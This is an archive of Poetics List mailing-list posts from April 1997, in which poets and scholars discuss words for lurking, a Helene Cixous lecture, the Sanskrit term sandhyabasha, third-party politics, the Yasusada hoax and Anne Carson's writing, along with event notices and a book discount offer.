Fri 18 Apr 1997

I graze on the list because I'm too cowed.

At 02:18 PM 4/18/97 -0400, you wrote:
>Yes, that's better than my looker, Steve. But it makes me think of another
>possibility, grazer. to graze. gaze does often have the subtext of awe,
>which would be hard to maintain some days! sp
>
>>How about gazer? Same number of syllables as lurker. No negative
>>associations; even a gentle one of stargazing, and I don't mean Hollywood.
>>
>>tryingly,
>>Steven
>>
>>
>>On Fri, 18 Apr 1997, Dave Zauhar wrote:
>>
>>> spectator? and it's various permutations (as in "hi. I've been spectating
>>> on this list for 6 years now. . .")?
>>>
>>> DZ
>>>
>>> >Hoverer is too hard to say, too many syllables. I agree, lurk has sinister
>>> >connotations, unwarranted here. Look/looker would seem to have fewer,
>>> >though maybe some old-timey slang ones:"She's a real looker!" I'll keep
>>> >thinking. It's a good quest. sp
>>> >
>>> >
>>> >>addendum to previous post about lurking....
>>> >>

>>> >>how about hoverer? hovering? " to hang fluttering in the air, to remain
>>> >>suspended over a place or object, to move to and fro near a place, to
>>> >>be in a state of uncertainty, irresolution, or suspense" and i would
>>> >>add, to be in a state of too much to do-ness, not not caring...
>>> >>
>>> >>kl
>>> >>
>>> >>in response to david israel:
>>> >>
>>> >>> so, how about neologize a newer, more congenial self-descriptive?
>>> >>>
>>> >>> if not to lurk, then what?
>>>
>>
>>_____
>> Steven Marks
>>
>> http://members.aol.com/swmarks/welcome.html
>>_____
>
>

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595. Jeffrey W. Timmons
Re: Is anybody still discussing Bob Perelman
Fri 18 Apr 1997

On Fri, 18 Apr 1997, Keith Tuma wrote:

> *I remember a Barthelme novel, _The Dead Father_, asking this same question. As I recall the DF can manifest patriarchal hegemony only by standing in Ohio and pissing into Nebraska.*

dead but still with us. still with us but dead.

something to that effect.

jeffrey timmons

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596. **David Bromige**
Well no I mean yes
Sat 19 Apr 1997

Dear George, University gets out so early in Canada, or is it only BC? When I attended UBC, I was told we got out that early because we were wanted in the forests to fell things. Was that T, or F? So these 3 weeks of hell open upon a paradise of summer hols. What will you do with yourself now the stake has gone thru the heart of another academic year? Travel? Lie on the beach at Kits? Garden? Speaking of hearts, that was naughty of you to scarf every last chocki & not save any for your sweetie. --Does Valentine's Day fall six weeks later in Canada, the way your Thanksgiving is six weeks earlier? It has to do with the northern seasons, I suppose. People's plumbing stays frozen until April? F, T?

Broms

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597. **KENT JOHNSON**
axis of the universe
Sat 19 Apr 1997

This recent news re: the universe actually having an axis: Does that mean that all these posts I've been writing with my toes while standing on my head were _really_ written upside down?

Kent

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598. **Nicole Markotic**
helene cixous
Sat 19 Apr 1997

For anyone interested...

Last week, I went to hear Helene Cixous give a paper. The title was something like (apparently she had several versions and permutations of this title on the poster, which I never saw): "My Menagerie & Philosophy: Stigmata." It's funny, but at first I wasn't sure what she was doing. She seemed to be relating a reminiscence about her childhood pet dog and how it bit her, yet this was not a short story, it had been billed as an academic talk. Now, I'm not one to quibble over genre distinctions, still, I didn't think she would be relating the circumstances surrounding her dog's death for merely fictional purposes. But gradually as she talked I realized how immense a thing she was doing, how complex, and how extraordinary to posit the dog's body as text for what was going on around her and her family, growing up in Algeria. To begin at the

beginning: She started by mentioning such writers as St. Augustine, Proust, Joyce, and Genet, all as introductions for a literary history of stigmata. She talked about stigmata as being (or her previously thinking of stigmata as being) very catholic, very masculine. And, as it is something that happens to the body without the body's control, one could consider circumcision a form of stigmata. In the same way, violent inscription on the body leaves psychosomatic symptoms and scars. This intro lead into her talk on her dog Fibbs (Phipps?), and how his rage and teeth marked her left foot, his bite became a pain imbedded on her brain. Basically, her family (Jewish, French-speaking) lived within what was then known as Arab Algeria. They were tolerated because her father was a doctor and helped the surrounding neighbours. But once he died, their neighbours began turning against them, for being Jewish and for being "French." The anger and hatred took the form of everyday verbal and physical (rocks thrown at them, etc.) abuse. The dog, too, was abused and did not understand why. Eventually, it began to attack its attackers, and the family had to chain it up within the yard. "We chained up our own incarnation," she said, "we beat the innocent." She thought the dog didn't understand because she didn't understand. The dog became a chained up cross waiting for her in the yard. Fibbs represented a love that was twisted, bloody, criminal. And proved that to live is to survive in chains. "We're all in the process of becoming mean dogs," Cixous said, "one bites one's brother, one bites oneself." She felt, eventually, that she was not his sister (though she had longed for a baby brother when their father brought the dog home), but his assassin. When the dog bit her, his bite was penetrating; a hideous attachment. She realized he was her own raving twin. And at that moment, there was a slight beating on the inside of her brain, a minuscule wound that would not close. An ornament. Poison, she realized, is not hate, but weak love. Somehow, she failed the dog, abandoned it in terror and pity. She did not rush into the flames to save her dog/child.
The dog was Job: it had ticks that it suffered from horribly, soft vampires that suckled the dog to death. Neither she nor the dog knew where to go to prevent death from arriving. And, as she would not give her life for him, she could not be there in his death (after biting her, he ran out into the street). Fibbs died because he was outraged at the injustice that surrounded him, yet helpless to do anything but rage. And a wound, at least, brings a sense of immediacy into an intolerable situation. She concluded with the words, "I did not love him there in the garden of war. Not yet, but later." I think it's really fascinating the way, by merely describing her childhood relationship with a problematic pet, Cixous managed not only to discuss a volatile political situation, but also to posit a narrative and analysis of stigmata and how we expect the body to recall violent and emotional events. Just thought I'd post this for those interested but unable to attend. Cheers, Nicole Markotic

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599. **jdhollo**
Sandhyabasha, from a while back
Sat 19 Apr 1997

This is Anselm Hollo. Colleagues Anne Waldman and Andrew Schelling (who promise to acquire e-mail capability *soon*) have asked me to forward the following in re the Sanskrit Poetics thread:

(Anne:) Yes, the somewhat free use of the term "sandhyabasha" doesn't come particularly from a reading of Eliade and was never used or recorded to my knowledge by Kerouac or Ginsberg or other confreres. I had Andrew Schelling's expanded sense of the term and my own desire to present the idea of a secret code--perhaps intuited by other initiates (see the collaboration "Pull My Daisy". We are certainly aware of the literal definitions. Apologies for taking poetic liberties. This only encourages me to more dialogue with the scholars. "Ulatbamsi," more literally upsidedown is probably more accurate term. And of course there's "dakini script" which is what some poets think they're onto, not to mention the sense of poem as "terma," or hidden treasure. What do you think? Not on the Net yet; this intervention is courtesy of Anselm Hollo who alerted me to the discussion.

(Andrew:) Confess I'm the source for Waldman's use of the Sanskrit term sandhyabasha. It is quite unlikely Kerouac ever encountered the term, certainly he never used it. Anne ws employing it as a way to line up Kerouac "goofiness" (playful duplicity in language) with older Tantric traditions. Her "upside down" skips across to another word, another tradition, ulatbamshi--which I know best from Charlotte Vaudeville's scholarly work on Kabir--who of course did not write in Sanskrit. I've tended to use the term sandhyabasha without much concern for getting right its original Sanskrit usage. This I hope is okay since nobody knows precisely what it meant in the old days. Hence debate about whether it is sandhya- (twilight) or sandha- (intentional) speech. I've tried to give it a contemporary spin: poetry as a place where language has the "conjoint" (lit. sandhya-) lights of day and night, waking & dreaming--goofiness or double-meaning--as opposed to secret initiate language. I gave my essay book published in Indi the title Twilight Speech. Its USA publication I'd hoped would have the same title, but Leslie Scalapino who published it was alerted by Philip Whalen to how close the term sounds to "twilight sleep" which he said is what women go into when they have spinals for Caesarean sections. So Leslie insisted we come up with another title. As for the Masson/Merwin book, it is a good collaboration. Masson's introduction particularly fine. The choice of poems is surprising--even inspired--though Merwin doesn't know the language so he can swim a bit with tone and meaning. Masson was once upon a time a terrific Sanskritist, but on occasions sloppy. Notice for instance the opening verse to his introduction, which is not in any Sanskrit anyone I know has been able to

decode. Not even Masson when I took it to him and said what the hell's this. Said he thinks he got it from his guru.

End of Waldman/Schelling transmission

(Andrew

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600. **Pierre Joris**
Re: monk, t.
Sat 19 Apr 1997

Joe Safdie wrote:
>
> Pierre,
>
> What exactly is the "ocl worldwide catalogue" and how can one attain
> access to it? It seems -- from what it gave you about Monk -- a most
> useful database!
>
> Joe

Joe -- the OCLC WorldCat a worldwide database that many university
libraries subscribe to, which is how I have access to it. its wepage
(but I think you need to be a paid subscriber is:
http://www.ref.oclc.org:2000/). -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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601. **George Bowering**
Re: swimmers
Sat 19 Apr 1997

Oh I wish I were in California. You would take me to a soccer game. We would have shrimp and lemon ona patio. I could teach you the lyric and you could tell me how to make an English e

Oh that would be fun.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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602. **k.a. hehir**
of Cheezheads and poetry
Sat 19 Apr 1997

---

the Ever delicious Whippet Lounge presents:

kim dawn Kevin Cheezberger Hehir
Wayne Woodman Carey Weinberg
Charles Glasspool Steve Ford
Lynn Cooper Corwyn Liam Birch
Melissa Godwalt

Naturally pure, that's all I am.
Allen Ginsberg(1926-1997)

At the Embassy Hotel 732 Dundas Street
[redacted]
londonOnt

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603. **David R. Israel**
Re: helene cixous
Sat 19 Apr 1997

Nicole --

thanks for the detailed & interesting notes --

I'd only, some time ago, glanced at one of Cixous' books; this does make me want to return to it (or look at others) . . .

She seems to remind me a bit (or in a general way) of that other interesting academic experimentalist (so to say), Ann Carson . . .

best,
d.i.

> *Date: Sat, 19 Apr 1997 01:19:42 -0400*
> *From: Nicole Markotic <[redacted]>*
>
> *For anyone interested...*
>
> *Last week, I went to hear Helene Cixous give a paper. . . .*

.
,
.....,
1.....,
\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////////...'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
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{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\//..'

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604. David Golumbia
Re: if not to lurk / stalker
Sat 19 Apr 1997

David Israel wrote:
>
> Interestingly, "stalker" -- in the great metaphysical sci-fi film by Andre
> Tarkovsky (based, I think, on novel by Stanislav Lem (presumably titled,
> like the film, *Stalker*?)-- as was likewise the other great Tarkovsky
> sci-fi film *Solaris*) -- "stalker", I say, in said film, denoted the fellow

STALKER -- as brilliant a movie I know of -- based on the novel ROADSIDE PICNIC by the "Strugatsky Brothers" (Arkady and Boris Strugatsky), Russians. In his MICROWORLDS Lem has an essay on ROADSIDE PICNIC (I believe there are other associations between Lem and the Strugatskys as well). Was released

in US translation in late 70s/early 80s along with several other of their books. Very interesting -- but Tarkovsky makes its content quite a bit more "metaphysical" than is the book, which on my reading suffered a bit from that excessive sense of ironic humor from which some of Lem's work also suffers. ROADSIDE PICNIC, if I remember aright, actually says what's in the Zone -- it was more fun not to know (exactly).

--
[redacted]
David Golumbia

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605. **F.A. Templeton**
CCCP
Sat 19 Apr 1997

C C C P 7 (Cambridge Conference of Contemporary Poetry)

25-27 April, King's College (Keynes Hall)

FRI: 8 pm Jennifer Moxley, John Tranter

SAT: 11 am Pierre-Yves Soucy, Staffan Soderblum

2 pm Papers & discussion: Steve Evans and Jean Khalfa

8 pm Emmanuel Hocquart, Grace Lake, Karen Mac Cormack

SUN: 2 pm Performance: Fiona Templeton
(in the McCrum Theatre, Corpus Christi College)

4 pm David Chaloner, Deanna Ferguson

7 pm Allen Fisher, Dominique Grandmont, Tracy Ryan

All events £4 (£2.50 concs), except Saturday afternoon, which is £3 (£2 concs). Tickets at the door or reservations in advance from Ian Patterson, King's College, Cambridge CB2 1ST.

For more details contact Ian Patterson 01223-331196 or Peter Riley 01223-327-455.

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606. **Hank Lazer**
Re: monk, t.
Sat 19 Apr 1997

Thanks to one & all, and especially Herb & Pierre, for the info on Monk biographies....

Hank Lazer

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607. **Hank Lazer**
offer, discounts
Sat 19 Apr 1997

Judith Knight (marketing, University of Alabama Press) has asked me to pass along the following offer to the Poetics List. Mark Scroggins' new book is excellent--essays by Barry Ahearn, Michael Campbell, Norman Finkelstein, Burton Hatlen, Kent Johnson, Ming-Qian Ma, Alec Marsh, Ira Nadel, Marnie Parsons, Peter Quartermain, Mark Scroggins, Steve Shoemaker, and Susan Vanderborg....

Fine spring/summer reading? On fine paper, resistant to the stains and smears of tanning oil, croissants, coffee, cream cheese....

Hank Lazer

The University of Alabama Press offers a special 20%
discount on selected titles for the Poetics List.

Upper Limit Music: The Writing of Louis Zukofsky Mark Scroggins, editor Scroggins presents the first collected critical essays to examine all aspects of Zukofsky's writings in all periods of his career. Upper Limit Music is an essential contribution to readings of 20th-century poetry and will prove an important resource for readers and critics of Zukofsky. 304 pages, ISBN 0-8173-0826-1, 1997, $34.95 paper, discount price $27.96

The Seductions of Emily Dickinson Robert McClure Smith Relocating Dickinson within her own culture, Smith reveals both the genius and the continuing impact of this poet's "rhetoric of seduction." "One of the very best readings of this enigmatic poet ever."--CHOICE CHOICE OUTSTANDING ACADEMIC BOOK FOR 1996 RECIPIENT OF THE 1994 ELIZABETH AGEE PRIZE IN AMERICAN LITERATURE 232 pages, ISBN 0-8173-0905-5, 1997, $24.95 paper, discount price $19.96

Songs of Degrees Essays on Contemporary Poetry and Poetics John Taggart With an introduction by Marjorie Perloff A collection of 19 related essays on contemporary American poetry and poetics, published as journal articles

between 1975 and 1989, by poet and theorist John Taggart. By focusing on the work of several major and less well-known American experimental poets from the 1930s to the present, Taggart not only traces the origins and evolution of this experimental tendency in recent poetry, but also develops new theoretical tools for reading and appreciating these innovative and complex works. "Taggart's insights . . . are invaluable, for he blends appreciation with analysis, information with inspiration, and logic with imagination."--Philosophy and Literature 272 pages, ISBN 0-8173-0713-3, 1994, $29.95 paper, discount price $23.96

Apocalypse and After: Modern Strategy and Postmodern Tactics in Pound, Williams, and Zukofsky Bruce Comens Comens examines the maturation of modernism into postmodernism through the works of these three major American poets. "This study provides lucid readings of these three poets, and it is valuable to anyone interested in them or in further definitions of modernism and postmodernism more generally."--American Literature 232 pages, ISBN 0-8173-0732-X, 1995, $23.95 paper, discount price $19.16

The Tribe of John: Ashbery and Contemporary Poetry Susan M. Schultz, editor The Tribe of John contributes significantly to how we understand both Ashbery and, more broadly, the complex dynamics of "influence." These essays focus on the new generation of postmodern poets who are indebted to Ashbery's work. "It is a rare critical collection that sends one to the poetry itself (while remaining interesting in its own right)."--Taproot Review 288 pages, ISBN 0-8173-0767-2, 1995, $28.95 paper, discount price $23.16

What Is a Poet? Hank Lazer, editor Eleven major American poets and critics discuss American poetry and the difficult relationship between poetry and criticism. Participants include: Charles Altieri, Charles Bernstein, Kenneth Burke, Donald Hall, David Ignatow, Hank Lazer, Denise Levertov, Marjorie Perloff, Louis Simpson, Gerald Stern, and Helen Vendler. "This book is not only definitive, but it will initiate a dialogue that will continue."--Richard Jackson, editor, The Poetry Miscellany 296 pages, ISBN 0-8173-0325-1, 1987, $32.50 cloth, discount price $26.00

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608. **Gwyn McVay**

Re: Sandhyabasha, from a while back

Sat 19 Apr 1997

The many associations raised by Anne and Andrew--much gratitude for the time they took--include one I think is particularly interesting: Philip Whalen's tipoff about "twilight speech/twilight sleep," which brings up whole new associations--the liminal states of consciousness: just waking, just sleeping, neither waking nor sleeping. On the list of exercises Bernadette Mayer culled from work at St. Mark's is a direction to write something every day as you are just waking or just falling asleep.

Gwyn
sleeping furiously
(like Noam Chomsky's "colorless green ideas")

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609. **Michael Magee**
New party, etc
Sat 19 Apr 1997

Kent wrote: "Why not say clearly that those who are the most reprehensible of all are those "progressive" sophisticates who know the score, but still are seduced to vote for Carter, Mondale, Dukakis, Clinton, and seduce otheres to do so, just so we can have a little lesser evil? (ok, so we got the lesser evil with Clinton--how's it such a breakthrough over Bush? Explain to me what is so different.)"

I didn't expect to be playing devil's advocate here (or even responding) but I really do question this logic. I find the New Party very interesting, particularly as a grass roots project that might put up local candidates, etc. I've been paying attention to West's writing/project for a long time and his participation makes me all the more interested. What I'm most familiar with is his engagement with American pragmatism which he says at its best "consists of a future oriented instrumentalism that tries to deploy thought as a wepon to enable more effective action. Its basic impulse is a plebeian radicalism that fuels an antipatrician rebeliousness for the moral aim of enriching individuals and expanding democracy." So, ok, back to Kent's stipulation. If one buys West's description of the"aim," is bashing "progressive sophisticates" who voted for Clinton really a useful way to direct your words and attention? Clinton over Dole or Bush may not have made a big difference to many people on this list but the cuts those Republicans would have made or allowed in education and a host of other social programs would have deeply affected many Americans. Likewise on race: its widely believed that Clinton's Affirmative Action speech written by he and Stephanopolos saved that program - its was effectively dead on the floor until he used public opinion polls (those things we all love to scoff at) to scare conservatives into not tanking it. I think these things matter. I want to stress that I am *by no means* a huge Clinton fan - I disagree with him at least on a weekly basis about something. But I find our contrarian attitude toward maninstream politics facile. Ironically we end up saying roughly the same things about, say, Clinton, or Democrats generally, that the right is saying about them: namely, that they suck. I don't see how this can be productive: save the venom for the people who are really, consciously, deviously and cynically, trying to fuck up this country. If Dole hadn't been such a schmuck Nader's votes in California could have landed us with a Republican president who would have done a

shitload of damage. I didn't vote for Nader because I suspect his penchant for self- promotion and because, yeah, I thought it'd be pissing in the wind. Does that make me an inconsequential "sophisticate" and "the most reprehensible"? I hope we all have bigger fish to fry.

-Mike.

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610. **Mark Weiss**
Re: New party, etc
Sat 19 Apr 1997

Let me add a couple and make a brief comment. Greater evil means two more Clarence Thomases on the court. Greater evil means southeast Utah becomes the world's largest open-pit mine. Greater evil means starwars.

Clinton is hard to swallow, but it's better than shooting yourself in the foot.

If a third, or fourth or fifth, party wants to be effective nationally, it better start as "a grass roots project that might put up local candidates." That's called an infrastructure. Not only would it be hard to win a wider election without such an organization, but if by some fluke a Perot, say, were to get elected he would be essentially powerless, having no elected allies whatsoever.

Obviously, like Kent, I think, I'm not one of those who think that violent over-throw, with all the fun that would be for the uncomprehending millions who could stand to lose a little weight anyway, is particularly likely as an avenue for change.

At 11:39 AM 4/19/97 -0400, you wrote:
>Kent wrote: "Why not say clearly that those who are
>the most reprehensible of all are those "progressive" sophisticates
>who know the score, but still are seduced to vote for Carter,
>Mondale, Dukakis, Clinton, and seduce otheres to do so, just so we
>can have a little lesser evil? (ok, so we got the lesser evil with
>Clinton--how's it such a breakthrough over Bush? Explain to me
>what is so different.)"
>
>I didn't expect to be playing devil's advocate here (or even
>responding) but I really do question this logic. I find the New Party
>very interesting, particularly as a grass roots project that might put
>up local candidates, etc. I've been paying attention to West's
>writing/project for a long time and his participation makes me all the
>more interested. What I'm most familiar with is his engagement with
>American pragmatism which he says at its best "consists of a future

>oriented instrumentalism that tries to deploy thought as a wepon to
>enable more effective action. Its basic impulse is a plebeian
>radicalism that fuels an antipatrician rebeliousness for the moral aim
>of enriching individuals and expanding democracy." So, ok, back to
>Kent's stipulation. If one buys West's description of the"aim," is
>bashing "progressive sophisticates" who voted for Clinton really a
>useful way to direct your words and attention? Clinton over Dole or
>Bush may not have made a big difference to many people on this
>list but the cuts those Republicans would have made or allowed in
>education and a host of other social programs would have deeply
>affected many Americans. Likewise on race: its widely believed that
>Clinton's Affirmative Action speech written by he and Stephanopolos
>saved that program - its was effectively dead on the floor until he
>used public opinion polls (those things we all love to scoff at) to
>scare conservatives into not tanking it. I think these things matter. I
>want to stress that I am *by no means* a huge Clinton fan - I
>disagree with him at least on a weekly basis about something. But I
>find our contrarian attitude toward maninstream politics facile.
>Ironically we end up saying roughly the same things about, say,
>Clinton, or Democrats generally, that the right is saying about them:
>namely, that they suck. I don't see how this can be productive: save
>the venom for the people who are really, consciously, deviously and
>cynically, trying to fuck up this country. If Dole hadn't been such a
>schmuck Nader's votes in California could have landed us with a
>Republican president who would have done a shitload of damage. I
>didn't vote for Nader because I suspect his penchant for self-
>promotion and because, yeah, I thought it'd be pissing in the wind.
>Does that make me an inconsequential "sophisticate" and "the most
>reprehensible"? I hope we all have bigger fish to fry.
>
>-Mike.
>
>

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611. **David Bromige**
the withdrawal of surfer
Sat 19 Apr 1997

May I suggest *sufferer*, in the sense of Jesus' "suffer the little children to come unto me." db

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612. **KENT JOHNSON**
yasusada
Sat 19 Apr 1997

I'd meant to mention in my last response to David K. that for those interested there is an intelligent exchange about Yasusada in the recent issue of the fine, upstart Countermeasures, and there is another "introductory" article in the November issue of Lingua Franca, and two pieces by Eliot Weinberger in the VLS/Village Voice. There're some other things from abroad too, which I can provide info on backchannel to those interested. Chris Reiner's appropriatly samizdat-like Witz will be publishing a long essay on AY by Mikhail Epstein, Russia's preeminent critic of poetry, and Joe Napora's next BullHead will have a special discussion section in their next issue, though the other special section there on Jack Clarke will be just as or more important. The Boston Review will have a number of people responding to Marjorie Perloff's essay in their next issue, though I don't know who they will be.

(feeling genuinely sorry for those trying to apologize for class collaboration),

Kent

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613. **henry g**
Re: Bromige-Safdie
Sat 19 Apr 1997

Nothing there I disagree with, David - in fact I think Rene Girard's anthropological theories about civilization being IN ESSENCE repressed mob violence are astonishing, if not totally convincing. I just think that 1) art is not essentially free expression of discontent (I know you didn't say that anyway); and 2) sex is not exactly repressed content anymore in our world. It's become a repressive single-minded culture-ordering conventionality. O tempus, o mores, whatever that means.

- Henry Gould

"Henry Gould is a coyote"
- Jack Spandrift

"all my verse utilizes conventional rhyme & metre, and is rated PG-13" - Eric Blarnes

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614. **Steve Carll**
Canessa Park reading cancelled
Sat 19 Apr 1997

Avery Burns has asked me to post a message that the Fanny Howe/Robert Grenier reading scheduled for Sunday, April 20 at Canessa Park in San Francisco has been cancelled.

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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615. **Hugh Steinberg**
Re: axis of the universe
Sat 19 Apr 1997

> *This recent news re: the universe actually having an axis: Does that mean that all these posts I've been writing with my toes while standing on my head were _really_ written upside down?*
>
> *Kent*

That depends on where your head is at.

Hugh Steinberg

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616. **Mark W Scroggins**
Re: offer, discounts
Sat 19 Apr 1997

I can only blushingly concur with Hark's assessment of _Upper Limit Music_; unfortunately, it doesn't go quite as well with tanning oil as one might wish...

Mark Scroggins
(lying on the beach as you receive this)

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617. **Henry Gould**
(no subject)
Sat 19 Apr 1997

When the goldfinch like rising dough
suddenly moves, as a heart throbs,
anger peppers its clever cloak
and its nightcap blackens with rage.

The cage is a hundred bars of lies
the perch and the little plank are slanderous.
Everything in the world is inside out,
and there is the Salamanca forest
for disobedient, clever birds.

O. Mandelstam
(trans. R & E McKane)
The Voronezh Notebooks (Bloodaxe Bks, 1996)

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618. **Steven Marks**
Re: helene cixous
Sat 19 Apr 1997

Thanks, Nicole for your recap of the Cixous talk. My introduction to her was through the Brazilian writer, Clarice Lispector, of whom she has written a great deal. In fact, Cixous has seen her as an exemplary writer of ecriture feminine. If you or others on the list have not read Lispector, I would recommend her with as much enthusiasm as Cixous does. Try _Selected Cronicas_, just out from New Directions.

best,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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619. **Alan Jen Sondheim**
TELNET JENNIFER-MOO 111.112.[redacted]
Sat 19 Apr 1997

TELNET JENNIFER-MOO 111.112.[redacted]:

divide
on the carboniferous valley in iced-blue mountainside
how can i divide and divide
clit mosses, ice and slopes festoon, elide
i do will make address
in tears she parted in her dark red dress
divide by leaving, but i stay, close
upon the mountaintop, above the furrowed cwm, alone
there are me here
recuperating consequences, assimilations, heights and fear
i no you he she we they
turn dreams that crags brought down to slither into day
i did forget a mention, striations and this straddled hearth
waters pull down dress beyond the tidal pool, the dry land's dearth
i am sorry if i want you
where world is actual, green groceries through
me she he or we they i
against the strata welkin, sward, soma, mead, or sky
i divide and divide and divide you know that's
beneath me rats and panties, above me crags and bats
how jennifer came when jennifer came when
fluorescent homes, your dark red dress and then
now i will write to no one
you turned, slit furrows of your breasts in sun
now
lit nipples shadowed, moss springs beneath me wow
i will write to no one
i page and multiply beneath your breasts in sun

↑ Index

620. **George Thompson**
Re: Sandhyabasha, from a while back
Sat 19 Apr 1997

I am one of the Sanskritists who responded to David Israel's query re this term. I'm not surprised that Kerouac didn't read Eliade, whose books on yoga and shamanism appeared in accessible English editions only in the sixties [although an early English edition appeared in 1958].

However, I am *very* surprised to hear that none of his confreres were reading Eliade. Besides the explicit reference to Eliade in Rothenberg's 1968 book, I

recall discussions of archaic poetics which I had in the 70's with Diane Di Prima, from which I got the impression that she, and her confreres, were definitely familiar with Eliade. Perhaps my memory is unreliable, or perhaps I was generalizing from what appeared to me to be her obvious familiarity with Eliade's ideas.

George Thompson

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621. **David Kellogg**
Re: Perloff on Yasusada
Sat 19 Apr 1997

At 04:26 AM 4/15/97 -0700, Rachel Loden wrote:
>Marjorie Perloff's article "In Search of the Authentic Other: the Araki
>Yasusada 'hoax' and what it reveals about the politics of poetic
>identity," is available on the web at:
>
>http://www-polisci.mit.edu/BostonReview/BR22.2/Perloff.html
>
>It is, as you might imagine, fascinating, especially in present company,
>and will start (or renew) many arguments.

I've just read the article and find it typically excellent on many counts; especially in the way it contextualizes Yasusada through other Japanese poets, it's pretty much an education in itself. I _do_ think that some of its argument regarding poetic identity is a bit strained, since the editorial stances of _Arial_ and _APR_, for example, -- both of which published Yasusada poems -- are quite divergent. That strand of the argument seems to me to have more to do with Marjorie's current concerns in general than with the Yasusada issue in particular.

I would like to know what Kent Johnson (who's on this list) thinks of the piece. But given his generally nimble responses to queries on this score, I don't imagine he'll be all that direct. ;-)

I have two other questions:

1) are the Yasusada poems going to be published in book form? I would hope so.

2) what comparisons should be drawn between the Yasusada and the Sokal affairs?

Cheers,
David

~~~
~~~

this morning, in a note anent Nicole Markotic's precis of Helene Cixous' "paper presentation," I remarked (tangentially) --

> *She seems to remind me a bit (or in a general way) of that other interesting academic experimentalist (so to say), Ann Carson . . .*

Hugh Steinberg backchanneled a one-sentence (well, two sentence) question, inquiring abt. said Carson. I've written out a somewhat rambling (but poss. useful withal) reply/ -- and it doesn't seem I'd be breaching principles of netti-quette in this instance if I flip this from back-channel to front-burner -- which I'll do only bec. I like Carson's work and suspect others may share this interest. I'm sure there are apt to be others more versed in Carson than am I; but here's what little I know so far . . .

Hugh, --

you ask,
> Could you tell me more about Ann Carson? Where to start, etc.

I'll tell you what bit I know, which is somewhat anecdotal. First to note, am quite sorry I missed a reading here in DC by Carson -- she recently appeared at the rather distinguished venues (& pricy -- one of few places that'll charge, I think, $12 for privilege of hearing a poet): the Folger Shakespeare Library -- sharing the bill with John Ashbery no less.

Anway, my encounters w/ Carson began when I chanced on her remarkable book EROS: THE BITTERSWEET at a booshop some six years ago. I browsed, purchased, read it thru, & straightaway read it thru a 2nd time (rare for a slow-ish reader like me) --

I don't have a copy of this volume on hand at this point (and it's been, now, some years since reading) -- but Carson's EROS made an impression, lingers in mind, and seems to bid for a further re-read.

The main topics are the "nature of":

knowledge
love
reading
writing

and to explore this terrain, Carson relies on sources from the classical Greek (mostly) -- especially (as I recall) on both Socrates and Sappho. Her citations and elucidations of both of these (very dissimilar) writers seem superb. Also recall an interesting discussion of a section of the Odyssey involving an anec-dote that seemed to reflect on the "nature of writing per se" -- or some such.

She translates and elucidates the poem from Sappho with image of an apple on the high branch (beyond reach) to discuss the nature of desire and its

relationship to knowledge -- a fine discussion which deepened my appreciation & regard for Sappho, must say. Similarly, her creative consideration of certain passages from Socrates seemed both delightful & brilliant.

One felt, with this vol., that one was in the presence of a mind discovering genuine things, making fine leaps, and sharing it all in a way that proved neither off-putting (for its specificity) nor muddled (for its breadth). Poss. a model of the book-length essay.

I next encountered Carson's work in the pages of *The American Poetry Review.* (If one were to pore over issues of that publication of the past half-dozen years, I think one would find a number of items from Ann Carson. I've not, unfortunately, much kept up with APR in the past couple years -- but I recall seeing two or three presentations of Carson's work -- her translations as well as her own poems -- within the span of a year or two, prob. circa '93).

Carson's poems engaged (in at least one instance) the "idea of God" in interesting & likeable (to me) ways. Her translations seemed rather quirky in (likewise) likeable ways -- for instance, I recall a (supposed) translation that made reference to Deng Xiaoping and tossed out some mention of "small bottle" (this would be a likely, literal rendering of xiao-ping -- at least there is a xiao which means small & a ping which means bottle) -- and now I'm not at all sure whether this was (supposed to be) a "translation" from Chinese or rather (equally likely) from ancient Greek! (I think it was the latter.) Notwithstanding this playful sort of anachronism, I recall being left with the impression of a lively (& "good") translation . . .

I've also seen -- somewher in some bookstore -- a cassette recording of Carson's lecture on some or other classics topic (unfortunately didn't snap it up).

Further: In the [Village] Voice Literary Supplement -- abt. 3 years ago? -- there appeared an article that amounted to an awestruck appreciation of Carson's intellect & writing. (This article may've included some bit of an interview with her.)

Ann Carson is based at a University in Canada (McGill, I think), where she's a professor of Classics. From all evidence I've seen, she's a new breed of classicist -- or perhaps a breed apart.

I look forward to further enjoyment of her writing; the above is what I know at the moment.

best,
d.i.
.
.....
.....

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| [redacted]      (home)
| [redacted]      (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                                (Tagore)
//////////////////////////////////////////\\\\\/////
```

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624. **Gwyn McVay**
Re: Perloff on Yasusada
Sat 19 Apr 1997

> *_Arial_*

David K., I have to jump in & be one of the pedantic ones--Arial is a font, & /Aerial/ the name of the mag--& I do not think the one is set in the other--

but when counting resemblances, what about the Ern Malley affair in Australia? I think the comparisons are many & ripe.

Yours,
Gwyn

↑ Index

625. **David Bromige**
o tempus o mores
Sat 19 Apr 1997

Henry, I believe the latin translates as "a goalless draw between your temper and your manners." --Peter Punster, at his feeblest.

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626. **David Kellogg**
Re: Perloff on Yasusada
Sat 19 Apr 1997

> *David K., I have to jump in & be one of the pedantic ones--Arial is a font, & /Aerial/ the name of the mag--& I do not think the one is set in the other--*

Righto -- ma faute. I always misspell it, tho I had a copy of the Barrett Watten issue right by my desk.

> *but when counting resemblances, what about the Ern Malley affair in Australia? I think the comparisons are many & ripe.*

